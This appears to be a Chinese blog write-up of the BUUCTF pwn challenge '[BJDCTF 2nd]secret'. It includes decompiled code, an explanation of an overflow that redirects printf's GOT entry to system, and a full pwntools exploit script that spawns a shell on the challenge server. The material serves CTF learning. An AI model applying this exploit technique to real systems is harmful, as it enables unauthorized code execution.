CTF-Pwn-[BJDCTF 2nd]secret

CTF-Pwn-[BJDCTF 2nd]secret

博客说明

文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!

CTP平台

网址

https://buuoj.cn/challenges

题目

Pwn类,[BJDCTF 2nd]secret

image-20200506151416058

下载题目文件

secret

思路

老规矩使用file和checksec查看文件

image-20200506151712224

文件是64位的,使用ida64打开,使用f5

image-20200506152225202

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_46A3AF(a1, a2, a3);
  if ( (unsigned int)sub_40136D() )
    sub_401301();
  system("cat /flag");
  return 0LL;
}

sub_46A3AF()函数

unsigned __int64 sub_46A3AF()
{
  unsigned int i; // [rsp+Ch] [rbp-54h]
  char s; // [rsp+10h] [rbp-50h]
  unsigned __int64 v3; // [rsp+58h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  *(_DWORD *)off_46D090 = 10000;
  for ( i = 0; i <= 9; ++i )
    buf[i] = 0;
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("@====================================@");
  sub_4011C2("# What's your name? ________________ #", 20LL);
  buf[(signed int)((unsigned __int64)read(0, buf, 0x16uLL) - 1)] = 0;
  sprintf(&s, "#      Welcome %-16s      #", buf);
  puts(&s);
  puts("#====================================#");
  puts("#    I have toooooo many secrets >   #");
  puts("#        Can u find them _<          #");
  puts("#====================================#");
  return __readfsqword(0x28u) ^ v3;
}

sub_401301()函数,提示游戏结束

void __noreturn sub_401301()
{
  puts("#====================================#");
  puts("#             GAME OVER              #");
  puts("#====================================#");
  sub_4011C2("#        BYE BYE~                    #", 18LL);
  printf(buf);
  puts(&byte_46B0A7);
  puts("@====================================@");
  exit(0);
}

可以看出是一个猜数字,不过有10000次,如果错了就会结束,猜对10000次就给flag,不过那样太耗费时间了

有个缓冲区溢出漏洞,printf的plt地址和system很接近,可以把指针覆盖为printf的got表,然后猜对15次,最后一次猜错,就可以调用system了

exp

网上师傅的exp,python3

#coding:utf8
from pwn import *

#sh = process('./secret')
sh = remote('node3.buuoj.cn',26618)
elf = ELF('./secret')
printf_got = elf.got['printf']

answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = b'/bin/sh\x00'.ljust(0x10,b'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:
   sh.sendlineafter('Secret:',str(x))
#现在printf的got表被修改为了system_plt
#getshell
sh.sendlineafter('Secret:','1')

sh.interactive()

测试

image-20200506155524120

flag就找到了

感谢

BUUCTF

以及勤劳的自己

原创文章 345 获赞 866 访问量 6万+

猜你喜欢

转载自blog.csdn.net/qq_45163122/article/details/105952612